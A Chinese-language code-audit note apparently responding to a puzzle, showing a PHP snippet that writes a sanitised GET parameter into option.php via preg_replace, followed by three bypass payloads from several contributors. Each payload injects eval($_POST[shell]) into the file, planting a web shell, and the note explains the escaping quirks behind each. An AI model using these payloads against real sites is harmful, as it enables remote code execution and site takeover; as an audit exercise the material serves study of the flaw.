p师傅在小密圈po的一个问题

<?php
$str = addslashes($_GET[ 'option']);
$file = file_get_contents( 'xxxxx/option.php');
$file = preg_replace( '|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents( 'xxxxx/option.php', $file);

做代码审计较少,但试了一下,绕过还是很容易的。但是只想到一种姿势(第一种),下面把各位师傅的几种姿势全都贴出来记录一下: )

姿势一

payload:

http://localhost/11.php?option=1';%0aeval($_POST[shell]);//
http://localhost/11.php?option=1

其实是利用addslashes()来对单引号'处理成为\',最后经过正则替换就成了

$option= '1\';
eval($_POST[shell]);//';

当然还需要再访问一次

http://localhost/11.php?option=1

\替换掉,最终写入文件的为

$option= '1';
eval($_POST[shell]);//';

姿势二

payload:

http://localhost/11.php?option=1\';%0aeval($_POST[shell]);//

传入payload后,分别输出$str和经过preg_replace()替换后的$file

可以看到经过addslashes()处理后的1\\\'三个\变成了两个\,猜测应该是preg_replace()做了转义的处理,导致这个变化,所以最后写入文件的也就是

$option= '1\\';
eval($_POST[shell]);//';

姿势三

payload:

http://localhost/11.php?option=;eval($_POST[shell]);//
http://localhost/11.php?option=%00(或者$0)

传一个参数后$option=';eval($_POST[shell]);//';,但传入%00$0时,这里看一下关于preg_replace()的文档

preg_replace()第二个参数为$0\0时都是完全匹配模式,所以最后写入的内容为$option='$option=';eval($_POST[shell]);//';';